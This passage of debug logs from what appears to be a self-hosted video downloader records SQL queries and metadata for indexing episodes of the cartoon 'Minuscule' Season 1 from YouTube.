cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 338, "filename" => "/downloads/Miniscule Season 1/2019-07-18 Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1)/Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1) [0K5rEpi60DM].mp4", "id" => "0K5rEpi60DM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0K5rEpi60DM", "playlist_index" => 129, "timestamp" => 1563445801, "title" => "Minuscule - Un Apres Midi de Moustique/A Mosquito Day Afternoon (Season 1)", "upload_date" => "20190718"} 00:54:03.814 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1168.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:03.815 [debug] QUERY OK source="sources" db=0.3ms idle=1169.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:03.816 [debug] QUERY OK source="media_items" db=0.9ms idle=999.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-18 10:30:01Z], 4] 00:54:03.820 [debug] QUERY OK source="media_items" db=2.8ms idle=171.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Apres Midi de Moustique/A Mosquito Day Afternoon (Season 1)", "2de26639-89d1-476e-8e3d-ef9e2aec0707", "0K5rEpi60DM", 338, false, 4, "https://www.youtube.com/watch?v=0K5rEpi60DM", 129, "/downloads/Miniscule Season 1/2019-07-18 Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1)/Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1) [0K5rEpi60DM].mp4", false, false, false, [], 1, ~U[2019-07-18 10:30:01Z], ~U[2025-12-14 07:54:03Z], ~U[2025-12-14 07:54:03Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Apres Midi de Moustique/A Mosquito Day Afternoon (Season 1)", "0K5rEpi60DM", 338, false, 4, "https://www.youtube.com/watch?v=0K5rEpi60DM", "/downloads/Miniscule Season 1/2019-07-18 Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1)/Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1) [0K5rEpi60DM].mp4", false, ~U[2019-07-18 10:30:01Z]] 00:54:03.821 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:03.821 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:03.822 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89125] 00:54:03.823 [debug] Current batch of media processed. Will check again in 1000ms 00:54:04.824 [debug] Current batch of media processed. Will check again in 1000ms 00:54:05.825 [debug] Current batch of media processed. Will check again in 1000ms 00:54:06.826 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 347, "filename" => "/downloads/Miniscule Season 1/2019-07-16 Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1)/Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1) [ZbSRH5kTU1A].mp4", "id" => "ZbSRH5kTU1A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZbSRH5kTU1A", "playlist_index" => 130, "timestamp" => 1563273000, "title" => "Minuscule - Un Monde de Brutes/A Cruel World (Season 1)", "upload_date" => "20190716"} 00:54:06.827 [debug] QUERY OK source="sources" db=0.3ms idle=1181.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:06.828 [debug] QUERY OK source="sources" db=0.3ms idle=1182.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:06.829 [debug] QUERY OK source="media_items" db=1.0ms idle=1183.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-16 10:30:00Z], 4] 00:54:06.832 [debug] QUERY OK source="media_items" db=2.2ms idle=1007.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Monde de Brutes/A Cruel World (Season 1)", "d814eeb6-06ce-41a6-92bd-9a95b1212304", "ZbSRH5kTU1A", 347, false, 4, "https://www.youtube.com/watch?v=ZbSRH5kTU1A", 130, "/downloads/Miniscule Season 1/2019-07-16 Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1)/Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1) [ZbSRH5kTU1A].mp4", false, false, false, [], 1, ~U[2019-07-16 10:30:00Z], ~U[2025-12-14 07:54:06Z], ~U[2025-12-14 07:54:06Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Monde de Brutes/A Cruel World (Season 1)", "ZbSRH5kTU1A", 347, false, 4, "https://www.youtube.com/watch?v=ZbSRH5kTU1A", "/downloads/Miniscule Season 1/2019-07-16 Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1)/Minuscule - Un Monde de Brutes⧸A Cruel World (Season 1) [ZbSRH5kTU1A].mp4", false, ~U[2019-07-16 10:30:00Z]] 00:54:06.833 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:06.834 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:06.835 [debug] QUERY OK source="media_items" db=0.4ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89127] 00:54:06.835 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #F-c9RHuXfzI/youtube video #F-c9RHuXfzI [F-c9RHuXfzI].NA", "id" => "F-c9RHuXfzI", "original_url" => "https://www.youtube.com/watch?v=F-c9RHuXfzI", "playlist_index" => 131, "title" => "youtube video #F-c9RHuXfzI"} 00:54:06.836 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:06.836 [debug] Current batch of media processed. Will check again in 1000ms 00:54:07.837 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #CkFaxWTRhhg/youtube video #CkFaxWTRhhg [CkFaxWTRhhg].NA", "id" => "CkFaxWTRhhg", "original_url" => "https://www.youtube.com/watch?v=CkFaxWTRhhg", "playlist_index" => 132, "title" => "youtube video #CkFaxWTRhhg"} 00:54:07.838 [debug] QUERY OK source="sources" db=0.4ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:07.838 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #1zKhZ51DEMo/youtube video #1zKhZ51DEMo [1zKhZ51DEMo].NA", "id" => "1zKhZ51DEMo", "original_url" => "https://www.youtube.com/watch?v=1zKhZ51DEMo", "playlist_index" => 133, "title" => "youtube video #1zKhZ51DEMo"} 00:54:07.839 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:07.839 [debug] Current batch of media processed. Will check again in 1000ms 00:54:08.840 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #BnTWxF67twA/youtube video #BnTWxF67twA [BnTWxF67twA].NA", "id" => "BnTWxF67twA", "original_url" => "https://www.youtube.com/watch?v=BnTWxF67twA", "playlist_index" => 134, "title" => "youtube video #BnTWxF67twA"} 00:54:08.841 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:08.841 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #n79aYMd5vX8/youtube video #n79aYMd5vX8 [n79aYMd5vX8].NA", "id" => "n79aYMd5vX8", "original_url" => "https://www.youtube.com/watch?v=n79aYMd5vX8", "playlist_index" => 135, "title" => "youtube video #n79aYMd5vX8"} 00:54:08.842 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:08.842 [debug] Current batch of media processed. Will check again in 1000ms 00:54:09.843 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #YV2XMLUytyk/youtube video #YV2XMLUytyk [YV2XMLUytyk].NA", "id" => "YV2XMLUytyk", "original_url" => "https://www.youtube.com/watch?v=YV2XMLUytyk", "playlist_index" => 136, "title" => "youtube video #YV2XMLUytyk"} 00:54:09.844 [debug] QUERY OK source="sources" db=0.4ms idle=1198.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:09.844 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #ylxHlmi3-g8/youtube video #ylxHlmi3-g8 [ylxHlmi3-g8].NA", "id" => "ylxHlmi3-g8", "original_url" => "https://www.youtube.com/watch?v=ylxHlmi3-g8", "playlist_index" => 137, "title" => "youtube video #ylxHlmi3-g8"} 00:54:09.845 [debug] QUERY OK source="sources" db=0.4ms idle=1016.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:09.846 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #7TXGbEmv6_M/youtube video #7TXGbEmv6_M [7TXGbEmv6_M].NA", "id" => "7TXGbEmv6_M", "original_url" => "https://www.youtube.com/watch?v=7TXGbEmv6_M", "playlist_index" => 138, "title" => "youtube video #7TXGbEmv6_M"} 00:54:09.846 [debug] QUERY OK source="sources" db=0.4ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:09.847 [debug] Current batch of media processed. Will check again in 1000ms 00:54:10.848 [debug] Current batch of media processed. Will check again in 1000ms 00:54:11.849 [debug] Current batch of media processed. Will check again in 1000ms 00:54:12.850 [debug] Current batch of media processed. Will check again in 1000ms 00:54:13.851 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 340, "filename" => "/downloads/Miniscule Season 1/2019-06-05 Minuscule - Torpedo (Season 1)/Minuscule - Torpedo (Season 1) [A5G3MuMhDWw].mkv", "id" => "A5G3MuMhDWw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=A5G3MuMhDWw", "playlist_index" => 139, "timestamp" => 1559745000, "title" => "Minuscule - Torpedo (Season 1)", "upload_date" => "20190605"} 00:54:13.852 [debug] QUERY OK source="sources" db=0.4ms idle=1015.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:13.853 [debug] QUERY OK source="sources" db=0.3ms idle=207.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = 